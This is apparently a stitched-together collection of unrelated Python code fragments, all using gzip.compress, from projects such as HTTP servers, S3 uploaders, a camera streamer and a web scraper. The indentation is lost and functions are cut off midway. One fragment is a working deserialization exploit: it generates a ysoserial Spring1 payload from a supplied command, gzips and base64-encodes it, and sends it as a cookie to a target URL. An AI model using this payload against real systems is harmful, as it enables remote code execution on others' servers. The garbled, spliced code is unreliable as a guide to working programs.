if ('Content-Length' in i):
continue
else:
newres += i + '\r\n'
newres = newres[:len(newres) -
4] + 'Content-Length: {}\r\n'.format(
len(resource)
) + 'Accept-Encoding: br' + '\r\n\r\n'
res = newres
#Check at end
if ('Accept-Ranges' in params.keys()):
k = int(params['Accept-Ranges'])
resRange = resource[:k]
newres = ''
for i in res.split('\r\n'):
if ('Content-Length' in i):
continue
else:
newres += i + '\r\n'
newres = newres[:len(newres) - 4] + 'Accept-Ranges: {}\r\n'.format(
k) + 'Content-Length: {}'.format(k) + '\r\n\r\n'
resource = resRange
res = newres
logger.generate(headers[0], res)
# print(res)
f.close()
return res, resource
except FileNotFoundError:
reqParams['code'] = 404
reqParams['length'] = 0
res = generateGET(reqParams)
logger.generate(headers[0], res)
logger.generateError(headers[0], res)
return res, ""
def digest_string(string: str) -> str:
return str(
base64.encodebytes(
gzip.compress(bytes(string, 'utf8'), compresslevel=9)),
'utf8').replace('\n', '')
def _compress(self, data: bytes) -> bytes:
# no further compression or post processing is required
if isinstance(self.request, Request) and not self.request.is_used:
return data
# otherwise there are two cases
# 1. it is a lazy request, and being used, so `self.request.SerializeToString()` is a new uncompressed string
# 2. it is a regular request, `self.request.SerializeToString()` is a uncompressed string
# either way need compress
if not self.envelope.compression.algorithm:
return data
ctag = CompressAlgo.from_string(self.envelope.compression.algorithm)
if ctag == CompressAlgo.NONE:
return data
_size_before = sys.getsizeof(data)
# lower than hwm, pass compression
if (_size_before < self.envelope.compression.min_bytes
or self.envelope.compression.min_bytes < 0):
self.envelope.compression.algorithm = 'NONE'
return data
try:
if ctag == CompressAlgo.LZ4:
import lz4.frame
c_data = lz4.frame.compress(data)
elif ctag == CompressAlgo.BZ2:
import bz2
c_data = bz2.compress(data)
elif ctag == CompressAlgo.LZMA:
import lzma
c_data = lzma.compress(data)
elif ctag == CompressAlgo.ZLIB:
import zlib
c_data = zlib.compress(data)
elif ctag == CompressAlgo.GZIP:
import gzip
c_data = gzip.compress(data)
_size_after = sys.getsizeof(c_data)
_c_ratio = _size_before / _size_after
if _c_ratio > self.envelope.compression.min_ratio:
data = c_data
else:
# compression rate is too bad, dont bother
# save time on decompression
default_logger.debug(
f'compression rate {(_size_before / _size_after):.2f}% '
f'is lower than min_ratio '
f'{self.envelope.compression.min_ratio}')
self.envelope.compression.algorithm = 'NONE'
except Exception as ex:
default_logger.error(
f'compression={str(ctag)} failed, fallback to compression="NONE". reason: {ex!r}'
)
self.envelope.compression.algorithm = 'NONE'
return data
def _compress(self, data):
return gzip.compress(data)
import sys
import os
import json
import concurrent.futures
import glob
if '--to_vec' in sys.argv:
book_vec = {}
for line in open('model.vec'):
line = line.strip()
es = line.split(' ')
book = es.pop(0)
vec = [float(v) for v in es]
#print( book, vec )
book_vec[book] = vec
open('book_vec.pkl.gz', 'wb').write(gzip.compress(pickle.dumps(book_vec)))
def _sim(arrs):
arrs, index_book, books, vecs = arrs
allnorms = np.linalg.norm(vecs, axis=(1, ))
book_sims = {}
for i in arrs:
vec = vecs[i]
book = books[i]
if os.path.exists('sims/{}.json'.format(book)) is True:
print('already processed', book)
continue
print(i, '/', size, book)
norm = np.linalg.norm(vec) * allnorms
invnorm = norm**-1
shutil.copyfile(
m_path,
dest_path + j + "/" + s_folder + "_3T_" + j + ".nii.gz")
print(dest_path + j + "/" + s_folder + "_3T_" + j + ".nii.gz")
print(
"++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
)
elif os.path.exists(mn_path):
print(" NII file exists ")
print(" =================")
shutil.copyfile(
mn_path, dest_path + j + "/" + s_folder + "_3T_" + j + ".nii")
gzip.compress(dest_path + j + "/" + s_folder + "_3T_" + j + ".nii")
if os.path.exists(dest_path + j + "/" + s_folder + "_3T_" + j +
".nii.gz"):
print(dest_path + j + "/" + s_folder + "_3T_" + j +
".nii.gz EXISTS")
print(
"+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
)
else:
print(
"----------------------- Following data are missing ---------------------------"
)
print("data: ", s_folder + "_3T_" + j + ".nii.gz")
print("fMRI folder: ",
def compress(self, data: bytes) -> bytes:
return gzip.compress(data, compresslevel=self.compresslevel)
def encode_msg(msg: Union[Request, Response]):
"""Encode the message's body"""
if msg.headers.get('content-encoding', '') == 'gzip':
msg.body = gzip.compress(msg.body)
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = 'ipetrash' s_in = "HelloWorld!" * 1000000 s_in = bytes(s_in, encoding='utf-8') print(len(s_in)) # 11000000 import gzip s_out = gzip.compress(s_in) assert gzip.decompress(s_out) == s_in print(len(s_out)) # 21396
port = 12345
s.bind((host, port))
# establish connection
s.listen(5)
c, addr = s.accept()
print('Connection from ', addr)
c.send('Thank you for connecting'.encode())
print(c.recv(1024))
while True:
# take picture and store as jpeg
with picamera.PiCamera() as cam:
cam.capture('image.jpeg', resize=(160, 90), quality=9)
# encode jpeg image into bytes
with open('image.jpeg', 'rb') as image:
read_image = image.read()
encoded_image = base64.encodebytes(read_image)
# compress image
compressed_image = gzip.compress(encoded_image)
with gzip.open('/home/pi/Documents/ECE_387/image.jpeg.gz', 'wb') as zip:
zip.write(compressed_image)
c.send(compressed_image)
# print(sys.getsizeof(encoded_image))
print(sys.getsizeof(compressed_image))
c.recv(1024)
c.close()
def heap_profile(client: Client) -> bytes:
"""Returns a gzipped pprof protocol buffer containing a heap profile."""
return gzip.compress(client.heap_profile())
def make_file_object(hash, path, data, attributes):
global config
index = attributes['index']
actions = attributes['actions']
flags = 0
compression = ESPFS_COMPRESSION_NONE
initial_data = data
initial_len = len(data)
if 'cache' in actions:
flags |= ESPFS_FLAG_CACHE
for action in actions:
if action in config['preprocessors']:
command = config['preprocessors'][action]['command']
process = subprocess.Popen(command,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
shell=True)
data = process.communicate(input=data)[0]
file_data = data
file_len = len(data)
if file_len >= initial_len:
data = initial_data
file_len = initial_len
if 'gzip' in actions:
flags |= ESPFS_FLAG_GZIP
level = config['compressors']['gzip']['level']
level = min(max(level, 0), 9)
data = gzip.compress(data, level)
elif 'heatshrink' in actions:
compression = ESPFS_COMPRESSION_HEATSHRINK
window_sz2 = config['compressors']['heatshrink']['window_sz2']
lookahead_sz2 = config['compressors']['heatshrink']['lookahead_sz2']
data = espfs_heatshrink_header_t.pack(
window_sz2, lookahead_sz2, 0) + heatshrink2.compress(
data, window_sz2=window_sz2, lookahead_sz2=lookahead_sz2)
data_len = len(data)
if data_len >= file_len:
flags &= ~ESPFS_FLAG_GZIP
compression = ESPFS_COMPRESSION_NONE
data = file_data
data_len = file_len
if initial_len < 1024:
initial_len_str = '%d B' % (initial_len)
data_len_str = '%d B' % (data_len)
elif initial_len < 1024 * 1024:
initial_len_str = '%.1f KiB' % (initial_len / 1024)
data_len_str = '%.1f KiB' % (data_len / 1024)
else:
initial_len_str = '%.1f MiB' % (initial_len / 1024 / 1024)
data_len_str = '%.1f MiB' % (data_len / 1024 / 1024)
percent = 100.0
if initial_len > 0:
percent = data_len / initial_len * 100.0
stats = '%-9s -> %-9s (%.1f%%)' % (initial_len_str, data_len_str, percent)
print('%08x %-34s file %s' % (hash, path, stats))
path = path.encode('utf8') + b'\0'
path = path.ljust((len(path) + 3) // 4 * 4, b'\0')
data = data.ljust((data_len + 3) // 4 * 4, b'\0')
header = espfs_object_header_t.pack(
ESPFS_TYPE_FILE, espfs_object_header_t.size + espfs_file_header_t.size,
index, len(path), 0) + espfs_file_header_t.pack(
data_len, file_len, flags, compression, 0)
return header + path + data
def compress_string(data):
return gzip.compress(data.encode("utf-8"))
id_tables = FirestoreUuidInfrastructure.init_from_credentials(firestore_uuid_table_credentials)
if len(table_names) == 0:
table_names = id_tables.list_table_names()
log.info(f"Found {len(table_names)} uuid tables to export")
export = dict() # of table_name -> {mappings: dict of data -> uuid}
for i, table_name in enumerate(table_names):
log.info(f"Fetching mappings from table {i + 1}/{len(table_names)}: {table_name}...")
mappings = id_tables.get_table(table_name, None).get_all_mappings()
export[table_name] = {
"mappings": mappings
}
log.info(f"Fetched {len(mappings)} mappings")
log.info(f"Converting fetched data to zipped json for export...")
json_blob = json.dumps(export)
export_compressed = gzip.compress(bytes(json_blob, "utf-8"))
if gzip_export_file_path is not None:
log.warning(f"Writing mappings to local disk at '{gzip_export_file_path}'...")
with open(gzip_export_file_path, "wb") as f:
f.write(export_compressed)
if gcs_upload_path is not None:
log.info(f"Uploading the mappings to {gcs_upload_path}...")
google_cloud_utils.upload_string_to_blob(google_cloud_credentials_file_path, gcs_upload_path,
export_compressed)
log.info(f"Export complete ({len(table_names)} table(s))")
def compress(stream):
return gzip.compress(stream) if stream else None
def save_timetables(self, save_to_s3=False, skip_existing=False):
agency_id = self.agency_id
dates_map = self.get_services_by_date()
#
# Typically, many dates have identical scheduled timetables (with times relative to midnight on that date).
# Instead of storing redundant timetables for each date, store one timetable per route for each unique set of service_ids.
# Each stored timetable is named with a string 'key' which is unique for each set of service_ids.
#
# A "date_keys" JSON object is stored in S3 and the local cache which maps dates to keys.
#
# Although the keys could be any string that is legal in paths, for ease of browsing, the keys are chosen to be
# the string representation of one date with that set of service_ids.
first_date_for_service_ids_map = {}
try:
old_date_keys = timetables.get_date_keys(agency_id)
except FileNotFoundError as err:
old_date_keys = {}
date_keys = old_date_keys.copy()
for d, service_ids in dates_map.items():
service_ids = sorted(service_ids)
service_ids_key = json.dumps(service_ids)
if service_ids_key not in first_date_for_service_ids_map:
first_date_for_service_ids_map[service_ids_key] = d
date_keys[str(d)] = str(
first_date_for_service_ids_map[service_ids_key])
if skip_existing and date_keys == old_date_keys:
print("No new dates in GTFS feed, skipping")
return
trips_df = self.get_gtfs_trips()
gtfs_route_id_map = {}
route_configs = routeconfig.get_route_list(
self.agency_id
) # todo: use route config from parsing this GTFS file (will eventually be needed to process old GTFS feeds)
for route_config in route_configs:
gtfs_route_id_map[route_config.gtfs_route_id] = route_config
for gtfs_route_id, route_trips in trips_df.groupby('route_id'):
if gtfs_route_id not in gtfs_route_id_map:
continue
route_config = gtfs_route_id_map[gtfs_route_id]
arrivals_by_service_id = {}
trip_ids_map = {}
for service_id, service_route_trips in route_trips.groupby(
'service_id'):
arrivals_by_service_id[
service_id] = self.get_scheduled_arrivals_by_service_id(
service_id, route_config, service_route_trips,
trip_ids_map)
for service_ids_json, d in first_date_for_service_ids_map.items():
service_ids = json.loads(service_ids_json)
# merge scheduled arrivals for all service_ids that are in service on the same date
merged_arrivals = {}
for service_id in service_ids:
if service_id not in arrivals_by_service_id:
continue
service_id_arrivals = arrivals_by_service_id[service_id]
for dir_id, direction_arrivals in service_id_arrivals.items(
):
if dir_id not in merged_arrivals:
merged_arrivals[dir_id] = {}
direction_merged_arrivals = merged_arrivals[dir_id]
for stop_id, stop_arrivals in direction_arrivals.items(
):
if stop_id not in direction_merged_arrivals:
direction_merged_arrivals[stop_id] = []
direction_merged_arrivals[stop_id] = sorted(
direction_merged_arrivals[stop_id] +
stop_arrivals,
key=lambda arr: arr['t'])
date_key = str(d)
cache_path = timetables.get_cache_path(agency_id,
route_config.id,
date_key)
Path(cache_path).parent.mkdir(parents=True, exist_ok=True)
data_str = json.dumps(
{
'version': timetables.DefaultVersion,
'agency': agency_id,
'route_id': route_config.id,
'date_key': date_key,
'timezone_id': self.agency.timezone_id,
'service_ids': service_ids,
'arrivals': merged_arrivals,
},
separators=(',', ':'))
with open(cache_path, "w") as f:
f.write(data_str)
if save_to_s3:
s3_path = timetables.get_s3_path(agency_id,
route_config.id, date_key)
s3 = boto3.resource('s3')
s3_bucket = config.s3_bucket
print(f'saving to s3://{s3_bucket}/{s3_path}')
object = s3.Object(s3_bucket, s3_path)
object.put(Body=gzip.compress(bytes(data_str, 'utf-8')),
CacheControl='max-age=86400',
ContentType='application/json',
ContentEncoding='gzip',
ACL='public-read')
# save date keys last, so that if an error occurs while saving timetables,
# the timetables will be saved again even with skip_existing=True
date_keys_cache_path = timetables.get_date_keys_cache_path(agency_id)
Path(date_keys_cache_path).parent.mkdir(parents=True, exist_ok=True)
data_str = json.dumps(
{
'version': timetables.DefaultVersion,
'date_keys': {
date_str: date_key
for date_str, date_key in date_keys.items()
},
},
separators=(',', ':'))
with open(date_keys_cache_path, "w") as f:
f.write(data_str)
if save_to_s3:
s3 = boto3.resource('s3')
s3_path = timetables.get_date_keys_s3_path(agency_id)
s3_bucket = config.s3_bucket
print(f'saving to s3://{s3_bucket}/{s3_path}')
object = s3.Object(s3_bucket, s3_path)
object.put(Body=gzip.compress(bytes(data_str, 'utf-8')),
CacheControl='max-age=86400',
ContentType='application/json',
ContentEncoding='gzip',
ACL='public-read')
command = sys.argv[1]
payload = "{}".format(command)
print("[*] Creating payload: {}".format(payload))
os.remove(payload_file)
os.popen(
"java -jar ./ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar Spring1 \"{}\" > {}"
.format(payload, payload_file))
time.sleep(5)
with open(payload_file, "rb") as f:
malicious_payload = f.read()
print("[*] Malicious payload is: {}".format(malicious_payload))
compressed_malicious_bytes = gzip.compress(malicious_payload)
print("[*] Compressed malicious bytes are: {}".format(
compressed_malicious_bytes))
base64_compressed_malicious_payload = base64.b64encode(
compressed_malicious_bytes).decode("ascii")
print("[*] Base64 compressed malicious string is: {}".format(
base64_compressed_malicious_payload))
print("[*] Sending request.")
cookies = dict(counter="\"{}\"".format(base64_compressed_malicious_payload))
page = requests.get(url, headers=headers, cookies=cookies)
print("[*] Response received:\n\n{}".format(page.text))
def create_cloudwatch_log_event_from_data(self, data):
# CloudWatch log event data is a base64-encoded ZIP archive
# see https://docs.aws.amazon.com/lambda/latest/dg/services-cloudwatchlogs.html
gzipped_data = gzip.compress(bytes(data, encoding="utf-8"))
encoded_data = base64.b64encode(gzipped_data).decode("utf-8")
return f'{{"awslogs": {{"data": "{encoded_data}"}}}}'
#This embeds all of the assets into a .go file
#by zipping the contents and then encoding them as a string constant
import gzip
import os
import io
import base64
#Read in all the file data and compress
data = {}
for root, dirs, files in os.walk(".", topdown=True):
for file_name in files:
if file_name.endswith((".png", ".wav", ".ogg")):
with open(file_name, "rb") as fin:
root_name, extension = os.path.splitext(file_name)
key_name = extension.upper().strip(
".") + "_" + root_name.upper()
#stream = io.BytesIO(fin.read())
data[key_name] = gzip.compress(fin.read())
print("Read", file_name, "into", key_name)
#Write as a string constant in a .go file
with open("assets.go", "w", encoding='utf-8') as fout:
fout.write("package assets\n")
for key in data:
fout.write("const " + key + '="')
fout.write(base64.b64encode(
data[key]).decode("utf-8")) #Binary content is base64 encoded
fout.write('"\n')
def fetch_action(namespace):
# Are we resuming
resuming = namespace.resume
if resuming and not namespace.output:
die(['Cannot --resume without specifying -o/--output.'])
# Do we need to fetch only a single url?
single_url = namespace.file is sys.stdin and is_url(namespace.column)
if single_url:
edit_namespace_with_csv_io(namespace, 'url')
# If we are hitting a single url we enable contents_in_report
if namespace.contents_in_report is None:
namespace.contents_in_report = True
# HTTP method
http_method = namespace.method
# Cookie grabber
get_cookie = None
if namespace.grab_cookies:
get_cookie = grab_cookies(namespace.grab_cookies)
# Global headers
global_headers = None
if namespace.headers:
global_headers = {}
for header in namespace.headers:
k, v = parse_http_header(header)
global_headers = v
flag = 'w'
if namespace.output is not None and resuming and isfile(namespace.output):
flag = 'r+'
output_file = open_output_file(namespace.output, flag=flag)
# Resume listener
listener = None
resuming_reader_loading = None
skipped = 0
if resuming:
resuming_reader_loading = tqdm(desc='Resuming',
dynamic_ncols=True,
unit=' lines')
def listener(event, row):
nonlocal skipped
if event == 'resume.output':
resuming_reader_loading.update()
if event == 'resume.input':
skipped += 1
loading_bar.set_postfix(skipped=skipped)
loading_bar.update()
# Enricher
enricher = casanova.threadsafe_enricher(
namespace.file,
output_file,
resumable=resuming,
auto_resume=False,
add=OUTPUT_ADDITIONAL_HEADERS +
(['raw_contents'] if namespace.contents_in_report else []),
keep=namespace.select,
listener=listener)
if namespace.column not in enricher.pos:
die([
'Could not find the "%s" column containing the urls in the given CSV file.'
% namespace.column
])
url_pos = enricher.pos[namespace.column]
filename_pos = None
if namespace.filename is not None:
if namespace.filename not in enricher.pos:
die([
'Could not find the "%s" column containing the filenames in the given CSV file.'
% namespace.filename
])
filename_pos = enricher.pos[namespace.filename]
indexed_input_headers = {h: i for i, h in enumerate(enricher.fieldnames)}
if resuming:
enricher.resume()
resuming_reader_loading.close()
# Loading bar
total = namespace.total
loading_bar = tqdm(desc='Fetching pages',
total=total,
dynamic_ncols=True,
unit=' urls')
def url_key(item):
url = item[1][url_pos].strip()
if not url:
return
# Url templating
if namespace.url_template:
return namespace.url_template.format(value=url)
return url
def request_args(url, item):
cookie = None
# Cookie
if get_cookie:
cookie = get_cookie(url)
# Headers
headers = None
if global_headers:
headers = global_headers
return {'method': http_method, 'cookie': cookie, 'headers': headers}
def write_output(index,
row,
resolved=None,
status=None,
error=None,
filename=None,
encoding=None,
data=None):
addendum = [
resolved or '', status or '', error or '', filename or '', encoding
or ''
]
if namespace.contents_in_report:
addendum.append(data or '')
enricher.writerow(index, row, addendum)
errors = 0
status_codes = Counter()
fetch_kwargs = {
'threads': namespace.threads,
'throttle': namespace.throttle,
'domain_parallelism': namespace.domain_parallelism
}
if namespace.timeout is not None:
fetch_kwargs['timeout'] = namespace.timeout
multithreaded_iterator = multithreaded_fetch(enricher,
key=url_key,
request_args=request_args,
**fetch_kwargs)
for result in multithreaded_iterator:
index, row = result.item
if not result.url:
write_output(index, row)
loading_bar.update()
continue
response = result.response
data = response.data if response is not None else None
content_write_flag = 'wb'
# Updating stats
if result.error is not None:
errors += 1
else:
if response.status >= 400:
status_codes[response.status] += 1
postfix = {'errors': errors}
for code, count in status_codes.most_common(1):
postfix[str(code)] = count
loading_bar.set_postfix(**postfix)
loading_bar.update()
# No error
if result.error is None:
filename = None
# Building filename
if data:
if filename_pos is not None or namespace.filename_template:
if namespace.filename_template:
filename = CUSTOM_FORMATTER.format(
namespace.filename_template,
value=row[filename_pos]
if filename_pos is not None else None,
ext=result.meta['ext'],
line=LazyLineDict(indexed_input_headers, row))
else:
filename = row[filename_pos] + result.meta['ext']
else:
# NOTE: it would be nice to have an id that can be sorted by time
filename = str(uuid4()) + result.meta['ext']
# Standardize encoding?
encoding = result.meta['encoding']
if data and namespace.standardize_encoding or namespace.contents_in_report:
if encoding is None or encoding != 'utf-8' or namespace.contents_in_report:
data = data.decode(
encoding if encoding is not None else 'utf-8',
errors='replace')
encoding = 'utf-8'
content_write_flag = 'w'
# Writing file on disk
if data and not namespace.contents_in_report:
if namespace.compress:
filename += '.gz'
resource_path = join(namespace.output_dir, filename)
resource_dir = dirname(resource_path)
os.makedirs(resource_dir, exist_ok=True)
with open(resource_path, content_write_flag) as f:
# TODO: what if standardize_encoding + compress?
f.write(
gzip.compress(data) if namespace.compress else data)
# Reporting in output
resolved_url = response.geturl()
write_output(
index,
row,
resolved=resolved_url if resolved_url != result.url else None,
status=response.status,
filename=filename,
encoding=encoding,
data=data)
# Handling potential errors
else:
error_code = report_error(result.error)
write_output(index, row, error=error_code)
# Closing files
output_file.close()
import glob
import json
import pickle
import gzip
import os
import hashlib
import re
names = set([name.split('/').pop() for name in glob.glob('hrefs/*')])
urls = set()
for name in names:
print(name)
try:
obj = json.loads(open('hrefs/' + name).read())
except:
...
[
urls.add(re.sub('\?.*?$', '', url)) for url in obj
if hashlib.sha256(bytes(url, 'utf8')).hexdigest() not in names
]
if len(urls) >= 100000:
break
open('urls.pkl.gz', 'wb').write(gzip.compress(pickle.dumps(urls)))
def apply_temple(project,
temple_args,
temple_content,
data_json,
data_key,
send_at=None,
group_id=None,
owner='system'):
#用来把模板替换上内容（单条），当temple_args['add_on_func']['required']为真时，还会执行额外的ETL程序替换相应的内容
func_result = None
read_tracker = {
"distinct_id": data_key,
"event": "recall",
"lib": {
"$lib": "noti"
},
"project": project,
"properties": {
"$latest_utm_campaign":
"___utm_campaign___",
"$latest_utm_content":
"___utm_content___",
"$latest_utm_medium":
"___utm_medium___",
"$latest_utm_source":
"___utm_source___",
"$latest_utm_term":
"___utm_term___",
"$lib":
"noti",
"_latest_utm_email":
"___email___",
"_latest_utm_mobile":
"___mobile___",
"action":
2,
"sent_time":
time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(send_at))
},
"type": "track"
}
data_json['group_id'] = group_id
if 'add_on_func' in temple_args and 'required' in temple_args[
'add_on_func'] and temple_args['add_on_func']['required'] is True:
py = importlib.import_module(temple_args['add_on_func']['dir'])
ff = getattr(py, temple_args['add_on_func']['name'])
func_result = ff(data_json)
for l in temple_content:
for t in read_tracker['properties']:
temple_content[l] = temple_content[l].replace('___owner___', owner)
read_tracker['properties'][t] = str(
read_tracker['properties'][t]).replace('___owner___', owner)
for i in temple_args['args']:
temple_content[l] = temple_content[l].replace(
'___' + i + '___', str(temple_args['args'][i]))
read_tracker['properties'][t] = str(
read_tracker['properties'][t]).replace(
'___' + i + '___', str(temple_args['args'][i]))
for d in data_json:
temple_content[l] = temple_content[l].replace(
'___' + d + '___', str(data_json[d])).replace(
'___etl_date___',
time.strftime("%Y-%m-%d", time.localtime(send_at)))
read_tracker['properties'][t] = str(
read_tracker['properties'][t]).replace(
'___' + d + '___', str(data_json[d])).replace(
'___etl_date___',
time.strftime("%Y-%m-%d", time.localtime(send_at)))
if func_result:
for k in func_result:
temple_content[l] = temple_content[l].replace(
'___' + k + '___', str(func_result[k]))
read_tracker['properties'][t] = str(
read_tracker['properties'][t]).replace(
'___' + k + '___', str(func_result[k]))
track_url = temple_args['ghost_sa'][
'track_url'] + '?project=' + project + '&data=' + urllib.parse.quote(
base64.b64encode((gzip.compress(
json.dumps(read_tracker).encode('utf-8'))))) + '&gzip=1' + (
'&remark=' + temple_args['ghost_sa']['remark']
if 'remark' in temple_args['ghost_sa'] else '')
temple_content["content"] = temple_content["content"].replace(
'___read_tracker___', track_url)
read_tracker['properties']['action'] = 1
temple_content["send_tracker"] = read_tracker
temple_content["ghost_sa"] = temple_args['ghost_sa']
return temple_content
def convert_numpy_array_to_binary_blob(array, compress=True):
if compress:
return gzip.compress(memoryview(array), compresslevel=1)
else:
return memoryview(array)
def gzip_compress_v3(data, compresslevel=COMPRESSION_LEVEL):
return gzip.compress(data, compresslevel=compresslevel)
